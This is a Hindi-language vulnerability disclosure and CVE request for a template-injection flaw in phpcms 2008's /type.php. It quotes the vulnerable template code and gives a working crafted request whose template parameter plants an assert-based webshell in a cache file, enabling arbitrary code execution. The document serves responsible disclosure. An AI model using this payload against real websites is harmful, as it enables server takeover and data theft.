
हाल ही में हमें phpcms 2008 सोर्स कोड के /type.php में एक कमजोरी मिली। जब हमलावर "/type.php?template=tag_(){};@unlink(FILE);assert($_POST[1]);{//../rss" जैसे क्राफ्टेड अनुरोध भेजते हैं, तो दुर्भावनापूर्ण सामग्री (इस मामले में "@unlink(FILE);assert($_POST[1]);") phpcms 2008 वेबसाइट पर कैश फ़ाइल (इस मामले में "/cache_template/rss.tpl.php") में लिख दी जाएगी।
/type.php में निम्नलिखित कोड है:
if(empty($template)) $template = 'type';
...
include template('phpcms', $template);
और template() को /include/global.func.php में निम्नलिखित कोड के साथ परिभाषित किया गया है:
template_compile($module, $template, $istag);
यह फिर template_compile() को कॉल करता है, जो /include/template.func.php में इस प्रकार परिभाषित है:
$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
$content = ($istag || substr($template, 0, 4) == 'tag_') ? '<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>' : template_parse($content);
$strlen = file_put_contents($compiledtplfile, $content);
हमलावर के पेलोड में, $template को "tag_(){};@unlink(FILE);assert($_POST[1]);{//../rss" पर सेट किया गया है।
तो file_put_contents() को पास किया गया पूरा पथ अब "data/cache_template/phpcms_tag_(){};@unlink(FILE);assert($_POST[1]);{//../rss.tpl.php" है, जिसे php द्वारा "data/cache_template/rss.tpl.php" के रूप में पार्स किया जाएगा। और सामग्री "@unlink(FILE);assert($_POST[1]);" इस फ़ाइल में लिखी जाएगी, और हमलावर तब इस फ़ाइल को वेबशेल के रूप में उपयोग करके मनमाना कोड निष्पादित कर सकता है।
समस्या का मूल कारण यह है कि $template वेरिएबल को फ़ाइल पथ और फ़ाइल सामग्री के हिस्से के रूप में उपयोग करने से पहले फ़िल्टर नहीं किया जाता है।
हमने phpcms के विक्रेता से उसकी आधिकारिक वेबसाइट के माध्यम से संपर्क किया है, लेकिन टेलीफोन संपर्क योग्य नहीं है और संदेश का कोई उत्तर नहीं मिला। Phpcms 2008 phpcms का सबसे नया संस्करण नहीं है, लेकिन कई उपयोगकर्ता अभी भी इस संस्करण का उपयोग कर रहे हैं। हमें जो कमजोरी मिली है, उसे पहले कभी खोजा नहीं गया है और न ही उसे CVE सौंपा गया है। कृपया इस कमजोरी को CVE-id सौंपें ताकि हम उपयोगकर्ताओं को इसके बारे में चेतावनी दे सकें।